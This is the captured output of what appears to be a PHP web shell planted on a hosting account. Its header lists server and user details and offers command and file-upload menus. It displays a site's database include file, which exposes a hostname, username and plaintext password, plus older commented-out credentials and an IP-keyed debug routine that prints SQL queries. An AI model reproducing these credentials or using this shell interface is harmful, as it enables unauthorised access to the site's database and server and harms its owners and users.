|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/TEST/../mobile/includes/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
$servername = "logmcpedci.mysql.db";
$username = "logmcpedci";
$password = "Tmcpro040";
$database = "logmcpedci";
// Create connection
$conn = new mysqli($servername, $username, $password, $database);
$conn -> set_charset("utf8");
// printf("Jeu de caractère initial : %s\n", mysqli_character_set_name($conn));
// if (!mysqli_set_charset($conn, "utf8")) {
// printf("Erreur lors du chargement du jeu de caractères utf8 : %s\n", mysqli_error($conn));
// exit();
// } else {
// printf("Jeu de caractères courant : %s\n", mysqli_character_set_name($conn));
// }
if ($conn->connect_error) {
die("Connection faileed: " . $conn->connect_error);
}
function dbi_error () {
$ret = mysqli_error ();
$stack = debug_backtrace() ;
$file = sprintf("<br>Fichier : %s<br>Ligne : %s", $stack[1]['file'], $stack[1]['line']) ;
if ( strlen ( $ret ) )
return $ret.$file;
else
return "Unknown error".$file;
}
function dbi_fatal_error ( $msg, $doExit=true, $showError=true ) {
if ( $showError ) {
echo "<h2>Error</h2>\n";
echo "<!--begin_error(dbierror)-->\n";
echo "$msg\n";
echo "<!--end_error-->\n";
}
if ( $doExit )
exit;
}
function tep_db_error($query, $errno, $error) {
global $HTTP_REFERER, $send_mail_on_db_error;
$debug = debug_backtrace();
if (!empty($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] == '82.66.211.152') {
/* die(*/echo('<font color="#000000"><b>' . $errno . ' - ' . $error . '<br><br>' . $query . '<br><br><small><font color="#ff0000">[TEP STOP]</font></small><br><br></b></font>');
}
}
function dbi_query ( $sql, $fatalOnError=true, $showError=true ) {
// $servername = "localhost";
// $username = "hmfrmarket";
// $password = "m@rket";
// $database = "tmcpro";
// Create connection
// $conn = new mysqli($servername, $username, $password, $database);
global $conn;
global $phpdbiVerbose;
$res = mysqli_query ($conn,$sql ) or tep_db_error($sql, mysqli_errno(), mysqli_error());
if ( ! $res )
dbi_fatal_error ( "Error executing query." .
$phpdbiVerbose ? ( dbi_error() . "\n\n<br />\n" . $sql ) : "" .
"", $fatalOnError, $showError );
return $res;
}
function dbi_fetch_row ( $res ) {
return mysqli_fetch_array ( $res );
}
// $_SESSION['MCPRO']=array();
function do_redirect ($url) {
global $SERVER_SOFTWARE, $_SERVER, $c;
// Replace any '&' with '&' since we don't want that in the HTTP
// header.
$url = str_replace ('&', '&', $url);
if (empty ($SERVER_SOFTWARE))
$SERVER_SOFTWARE = $_SERVER["SERVER_SOFTWARE"];
//echo "SERVER_SOFTWARE = $SERVER_SOFTWARE <br />\n"; exit;
if ((substr ($SERVER_SOFTWARE, 0, 5) == "Micro") ||
(substr ($SERVER_SOFTWARE, 0, 3) == "WN/")) {
echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!DOCTYPE html
PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"
\"DTD/xhtml1-transitional.dtd\">
<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\">
<head>\n<title>Redirect</title>\n" .
"<meta http-equiv=\"refresh\" content=\"0; url=$url\" />\n</head>\n<body>\n" .
"Redirecting to.. <a href=\"".$url."\">here</a>.</body>\n</html>";
} else {
Header ("Location: $url");
echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!DOCTYPE html
PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"
\"DTD/xhtml1-transitional.dtd\">
<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\">
<head>\n<title>Redirect</title>\n</head>\n<body>\n" .
"Redirecting to ... <a href=\"".$url."\">here</a>.</body>\n</html>";
}
dbi_close ($c);
exit;
}
// $_SESSION['MCPRO']=array();
if(isset($_SESSION['MCPRO']) && !empty($_SESSION['MCPRO']['SESSION_ID']))
{
}
else
do_redirect('login.php');
$agence = 47;
// echo "Current character set is: " . $conn -> character_set_name();
?>
